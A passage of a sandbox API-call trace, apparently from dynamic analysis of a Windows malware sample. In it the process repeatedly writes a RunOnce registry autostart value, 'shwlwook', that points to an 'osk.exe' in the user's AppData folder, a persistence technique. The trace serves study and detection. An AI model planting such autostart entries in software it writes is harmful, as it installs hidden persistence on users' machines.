(hKey=0x14c) returned 0x0 [0262.035] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.054] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.075] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.075] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.076] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.076] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.076] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.077] RegCloseKey (hKey=0x14c) returned 0x0 [0262.077] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.077] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.090] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.090] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.091] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.091] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.091] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.091] RegCloseKey (hKey=0x14c) returned 0x0 [0262.091] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.092] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.108] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.108] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.108] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.109] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.109] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.109] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.109] RegCloseKey (hKey=0x14c) returned 0x0 [0262.109] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.110] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.136] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.136] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.137] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.137] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.137] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.137] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.137] RegCloseKey (hKey=0x14c) returned 0x0 [0262.138] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.138] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.152] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.152] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.152] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.153] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.153] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.153] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.153] RegCloseKey (hKey=0x14c) returned 0x0 [0262.153] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.154] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.228] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.228] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.229] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.229] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.229] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.229] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.230] RegCloseKey (hKey=0x14c) returned 0x0 [0262.230] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.230] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.246] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.246] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.247] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.247] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.247] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.247] RegCloseKey (hKey=0x14c) returned 0x0 [0262.247] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.247] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.261] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.261] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.262] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.262] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.262] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.263] RegCloseKey (hKey=0x14c) returned 0x0 [0262.263] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.263] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.277] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.277] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.277] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.278] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.278] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.278] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.278] RegCloseKey (hKey=0x14c) returned 0x0 [0262.278] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.279] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.293] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.293] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.294] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.294] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.294] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.294] RegCloseKey (hKey=0x14c) returned 0x0 [0262.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.295] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.308] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.308] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.309] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.309] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.309] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.309] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.310] RegCloseKey (hKey=0x14c) returned 0x0 [0262.310] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.310] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.324] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.325] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.325] RegCloseKey (hKey=0x14c) returned 0x0 [0262.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.340] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.340] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.341] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.341] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.341] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.341] RegCloseKey (hKey=0x14c) returned 0x0 [0262.342] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.342] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.355] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.355] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.356] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.357] RegCloseKey (hKey=0x14c) returned 0x0 [0262.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.372] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.373] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.373] RegCloseKey (hKey=0x14c) returned 0x0 [0262.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.388] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.388] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.388] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.388] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.389] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.389] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.389] RegCloseKey (hKey=0x14c) returned 0x0 [0262.389] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.389] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.418] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.418] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.419] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.419] RegCloseKey (hKey=0x14c) returned 0x0 [0262.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.419] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.435] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.435] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.435] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.436] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.436] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.436] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.436] RegCloseKey (hKey=0x14c) returned 0x0 [0262.436] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.436] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.465] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.465] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.466] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.466] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.466] RegCloseKey (hKey=0x14c) returned 0x0 [0262.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.467] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.481] RegCloseKey (hKey=0x14c) returned 0x0 [0262.482] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.499] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.499] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.500] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.500] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.500] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.500] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.501] RegCloseKey (hKey=0x14c) returned 0x0 [0262.501] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.501] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.512] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.512] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.512] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.513] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.513] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, 